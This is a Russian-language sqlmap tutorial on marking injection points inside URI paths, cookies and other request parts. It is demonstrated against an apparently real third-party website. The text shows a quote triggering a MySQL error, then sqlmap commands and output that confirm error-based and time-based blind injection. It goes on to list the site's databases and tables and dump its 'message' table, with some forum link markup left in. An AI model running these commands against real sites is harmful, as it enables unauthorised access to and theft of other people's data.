Точка инъекции в URI Имеются особые случаи, когда точка инъекции находится внутри самого URI. К примеру, если мы перейдём на страницу http://youfio.ru/name/АГАФЬЯ.html, то увидим веб-сайт: А если в URI мы добавим кавычку, чтобы получилось так http://youfio.ru/name/АГАФЬЯ'.html, то мы увидим знакомое: 1 Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''АГАФЬЯ'') and message.ST<>0 ORDER BY message.DT DESC limit 0,20' at line 4 sqlmap не выполняет каких либо автоматических тестов в отношении URI путей, если на них не указано вручную. Для этого вам нужно указать точку инъекции в командной строке, добавив звёздочку (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) после точки URI, которую вы хотите, чтобы sqlmap протестировала и эксплуатировала SQL-инъекцию. Это особенно полезно, например, когда используется модуль mod_rewrite веб-сервера Apache или другие подобные технологии. Пример правильной команды: 1 sqlmap -u "http://targeturl/param1/value1*/param2/value2/" Вернёмся к нашей Агафье. Чтобы проверить тот сайт команда должна выглядеть следующим образом: 1 sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" Программа говорит: 1 custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Т.е. в опции '-u' был найден пользовательский маркер инъекции ('*'). Хотим ли мы продолжить – соглашаемся, поскольку никакой ошибки нет. Опять программа спрашивает: 1 how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C Как вы хотите продолжить, на выбор опции (C) – проолжить, (s) – строка, (r) – регулярное выражение, (q) – выйти. Выбираем C, т.е. продолжить. Программа говорит: 1 it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Похоже, что в качестве СУБД установлена MySQL. Хотим ли мы пропустить тесты, предназначенные для других СУБД – соглашаемся. Опять вопрос: 1 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n Для продолжения тестов, вы хотите включить все тесты для расширения 'MySQL', обеспечивающего уровень (1) и риск (1)? Это на ваш выбор – я отказываюсь. Действительно имеется уязвимость SQL-инъекция, об этом говорят строки: 1 2 [17:21:15] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL') [17:21:15] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be vulnerable to cross-site scripting (XSS) attacks Перевод: эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим (возможная СУБД: 'MySQL') эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим к атакам межсайтового скриптинга (XSS) Кстати, если вы не знали, теперь sqlmap проверяет и на XSS. Подробности об уязвимости: 1 [17:22:05] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable Версия 'MySQL >= 5.0 и имеется error-based (основанная на ошибке) SQL-инъекция (самая удобная для нападающего, т.к. с её помощью можно быстро получить содержимое баз данных). И ещё: 1 [17:23:57] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable Уточнена версия MySQL >= 5.0.12, а также имеется time-based blind (слепая, основанная на времени) SQL-инъекция Далее, как и при обычных SQL-инъекциях, когда уязвимым является GET или POST параметр, мы получаем список баз данных: 1 sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" --dbs На сервере имеются следующие базы данных: 1 2 3 available databases [2]: [*] information_schema [*] snicke_youfioru Получаем таблицы в базе данных 'snicke_youfioru': 1 sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" -D 'snicke_youfioru' --tables Полученный список таблиц: Получаем содержимое таблицы 'message': 1 sqlmap -u "[URL]http://youfio.ru/name/АГАФЬЯ*.html[/URL]" -D 'snicke_youfioru' -T 'message' --dump [URL='https://hackware.ru/wp-content/uploads/2018/02/36.png'] Произвольная точка инъекции По аналогии с URI точкой инъекции, звёздочка (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) может также использоваться для указания произвольного места внутри GET, POST или HTTP заголовков. Точку инъекции можно указать, отметив её внутри значения(ий) параметра GET, указанного с опцией -u, значения(ий) параметра POST переданного опцией --data, значения(ий) HTTP заголовков, предоставленного опциями -H, --headers, --user-agent, --referer и/или --cookie, или в общем месте внутри HTTP-запроса, загруженного из файла с параметром -r. Примером правильной команды может быть: 1 sqlmap -u "[URL]http://targeturl[/URL]" --cookie="param1=value1*;param2=value2" Звёздочку можно использовать более одного раза, т.е. точек инъекций может быть несколько, например: 1 sqlmap -u "[URL]http://www.example.com/*-*[/URL]"[/URL]